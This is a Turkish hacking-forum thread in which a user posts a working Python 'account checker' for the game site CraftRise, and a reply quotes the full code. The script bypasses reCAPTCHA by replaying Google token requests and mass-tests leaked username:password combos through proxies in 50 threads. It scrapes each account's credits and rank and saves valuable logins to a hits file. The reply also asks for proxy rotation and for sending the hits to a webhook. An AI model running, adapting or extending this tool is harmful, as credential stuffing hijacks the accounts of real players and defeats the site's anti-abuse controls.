Open Source craftrise account checker

leet13s

Bronz Üye
Katılım
5 Mar 2021
Mesajlar
28
Beğeniler
3
cloudflare geçer, recaptcha bypassı var, sadece proxy gerektirir

AA765-F34-2-AA5-45-A6-8-AA2-2-A5-AA3209-F56.png


Python:
import threading, tls_client, requests, re
from urllib.parse import urlparse, parse_qs

PROXY = 'user:pass@host:port'


def read_from_file(file_path):
    with open(file_path, 'r', encoding='utf-8') as file:
        return file.read()


def write_to_file(file_path, content):
    with open(file_path, 'a', encoding='utf-8') as file:
        if content not in read_from_file(file_path):
            file.write(f'{content}\n')


def bypass():
    anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf&co=aHR0cHM6Ly93d3cuY3JhZnRyaXNlLmNvbS50cjo0NDM.&hl=tr&v=TqxSU0dsOd2Q9IbI7CpFnJLD&size=invisible&cb=qpxzjd9v9m4g"
    reload_url = "https://www.google.com/recaptcha/enterprise/reload?k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0"}

    r = requests.get(anchor_url, headers=headers)
    token = re.search(r'id="recaptcha-token" value="([^"]+)"', r.text).group(1)
    params = parse_qs(urlparse(anchor_url).query)

    data = {
        "v": params['v'][0],
        "reason": "q",
        "c": token,
        "k": params['k'][0],
        "co": params['co'][0],
        "hl": "en",
        "size": "invisible"
    }

    headers.update({"Referer": r.url, "Content-Type": "application/x-www-form-urlencoded"})
    r = requests.post(reload_url, headers=headers, data=data)

    return re.search(r'\["rresp","([^"]+)"', r.text).group(1) if '["rresp","' in r.text else None


class Checker:

    def __init__(self):
        self.session = tls_client.Session(client_identifier="chrome_120")

        self.session.headers = {
            'accept': '*/*',
            'accept-language': 'tr-TR,tr;q=0.5',
            'cache-control': 'no-cache',
            'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'origin': 'https://www.craftrise.com.tr',
            'pragma': 'no-cache',
            'priority': 'u=1, i',
            'referer': 'https://www.craftrise.com.tr/',
            'sec-ch-ua': '"Chromium";v="124", "Brave";v="124", "Not-A.Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'empty',
            'sec-fetch-mode': 'cors',
            'sec-fetch-site': 'same-origin',
            'sec-gpc': '1',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
            'x-requested-with': 'XMLHttpRequest',
        }

        self.session.proxies = {
            'http': f'http://{PROXY}',
            'https': f'http://{PROXY}'
        }

    def check_account(self, username, password):
        data = {
            'value': username,
            'password': password,
            'grecaptcharesponse': bypass()
        }

        output = self.session.post('https://www.craftrise.com.tr/posts/post-login.php', data=data)

        if 'success' == output.json()['resultType']:
            shop = self.session.get('https://www.craftrise.com.tr/shop')

            current_credits = re.search(r'<span id="currentCredits">(\d+\s*RC)</span>', shop.text)
            rc = current_credits.group(1).strip() if current_credits else "0 RC"

            site_username = username
            if '@' in username:
                profile_page = self.session.get('https://www.craftrise.com.tr/profil')
                personal_username = re.search(r'<input id="personalUsername" value="([^"]+)"', profile_page.text)
                if personal_username:
                    site_username = personal_username.group(1)

            player_page = self.session.get(f'https://www.craftrise.com.tr/oyuncu/{site_username}')
            membership_type_match = re.search(r'<div class="rankButton">\s*<p>([^<]+)</p>', player_page.text)
            membership_type = membership_type_match.group(1).strip() if membership_type_match else "OYUNCU"

            print(f'[+] {username}:{password} | {rc} | {membership_type}')

            if 'OYUNCU' != membership_type or '0 RC' != rc:
                write_to_file('hits.txt', f'{username}:{password} | {rc} | {membership_type}')
        else:
            print(f'[-] {username}:{password} | {output.json()['resultMessage']}')


def process_line(line):
    try:
        if len(line.split(":")) != 2:
            return

        instance = Checker()

        r = instance.session.get("https://www.craftrise.com.tr")
        if r.status_code == 200:
            instance.check_account(*line.strip().split(":"))
    except:
        write_to_file('unchecked.txt', line)
        pass

def main():
    lines = open('combo.txt', 'r', encoding='utf-8').readlines()

    threads = []
    for line in lines:
        line = line.strip()
        while threading.active_count() > 50:
            pass

        thread = threading.Thread(target=process_line, args=(line,))
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

if __name__ == '__main__':
    main()
 
cloudflare geçer, recaptcha bypassı var, sadece proxy gerektirir

AA765-F34-2-AA5-45-A6-8-AA2-2-A5-AA3209-F56.png


Python:
import threading, tls_client, requests, re
from urllib.parse import urlparse, parse_qs

PROXY = 'user:pass@host:port'


def read_from_file(file_path):
    with open(file_path, 'r', encoding='utf-8') as file:
        return file.read()


def write_to_file(file_path, content):
    with open(file_path, 'a', encoding='utf-8') as file:
        if content not in read_from_file(file_path):
            file.write(f'{content}\n')


def bypass():
    anchor_url = "https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf&co=aHR0cHM6Ly93d3cuY3JhZnRyaXNlLmNvbS50cjo0NDM.&hl=tr&v=TqxSU0dsOd2Q9IbI7CpFnJLD&size=invisible&cb=qpxzjd9v9m4g"
    reload_url = "https://www.google.com/recaptcha/enterprise/reload?k=6LfhmvEmAAAAAKCG7yu5dywabnggUDi5aFuJOgpf"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0"}

    r = requests.get(anchor_url, headers=headers)
    token = re.search(r'id="recaptcha-token" value="([^"]+)"', r.text).group(1)
    params = parse_qs(urlparse(anchor_url).query)

    data = {
        "v": params['v'][0],
        "reason": "q",
        "c": token,
        "k": params['k'][0],
        "co": params['co'][0],
        "hl": "en",
        "size": "invisible"
    }

    headers.update({"Referer": r.url, "Content-Type": "application/x-www-form-urlencoded"})
    r = requests.post(reload_url, headers=headers, data=data)

    return re.search(r'\["rresp","([^"]+)"', r.text).group(1) if '["rresp","' in r.text else None


class Checker:

    def __init__(self):
        self.session = tls_client.Session(client_identifier="chrome_120")

        self.session.headers = {
            'accept': '*/*',
            'accept-language': 'tr-TR,tr;q=0.5',
            'cache-control': 'no-cache',
            'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
            'origin': 'https://www.craftrise.com.tr',
            'pragma': 'no-cache',
            'priority': 'u=1, i',
            'referer': 'https://www.craftrise.com.tr/',
            'sec-ch-ua': '"Chromium";v="124", "Brave";v="124", "Not-A.Brand";v="99"',
            'sec-ch-ua-mobile': '?0',
            'sec-ch-ua-platform': '"Windows"',
            'sec-fetch-dest': 'empty',
            'sec-fetch-mode': 'cors',
            'sec-fetch-site': 'same-origin',
            'sec-gpc': '1',
            'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36',
            'x-requested-with': 'XMLHttpRequest',
        }

        self.session.proxies = {
            'http': f'http://{PROXY}',
            'https': f'http://{PROXY}'
        }

    def check_account(self, username, password):
        data = {
            'value': username,
            'password': password,
            'grecaptcharesponse': bypass()
        }

        output = self.session.post('https://www.craftrise.com.tr/posts/post-login.php', data=data)

        if 'success' == output.json()['resultType']:
            shop = self.session.get('https://www.craftrise.com.tr/shop')

            current_credits = re.search(r'<span id="currentCredits">(\d+\s*RC)</span>', shop.text)
            rc = current_credits.group(1).strip() if current_credits else "0 RC"

            site_username = username
            if '@' in username:
                profile_page = self.session.get('https://www.craftrise.com.tr/profil')
                personal_username = re.search(r'<input id="personalUsername" value="([^"]+)"', profile_page.text)
                if personal_username:
                    site_username = personal_username.group(1)

            player_page = self.session.get(f'https://www.craftrise.com.tr/oyuncu/{site_username}')
            membership_type_match = re.search(r'<div class="rankButton">\s*<p>([^<]+)</p>', player_page.text)
            membership_type = membership_type_match.group(1).strip() if membership_type_match else "OYUNCU"

            print(f'[+] {username}:{password} | {rc} | {membership_type}')

            if 'OYUNCU' != membership_type or '0 RC' != rc:
                write_to_file('hits.txt', f'{username}:{password} | {rc} | {membership_type}')
        else:
            print(f'[-] {username}:{password} | {output.json()['resultMessage']}')


def process_line(line):
    try:
        if len(line.split(":")) != 2:
            return

        instance = Checker()

        r = instance.session.get("https://www.craftrise.com.tr")
        if r.status_code == 200:
            instance.check_account(*line.strip().split(":"))
    except:
        write_to_file('unchecked.txt', line)
        pass

def main():
    lines = open('combo.txt', 'r', encoding='utf-8').readlines()

    threads = []
    for line in lines:
        line = line.strip()
        while threading.active_count() > 50:
            pass

        thread = threading.Thread(target=process_line, args=(line,))
        thread.start()
        threads.append(thread)

    for thread in threads:
        thread.join()

if __name__ == '__main__':
    main()
bunu bi proxy combosu olsa ordan proxy çekse sonrada webhookdan bize gönderse öyle birşey ayarlayabilir misin onu webhook boş ver onu yaparım fakat user:pass proxy olmadanda yapılır mı ?
 

  Şuanda konuyu görüntüleyen kullanıcılar


Üst Alt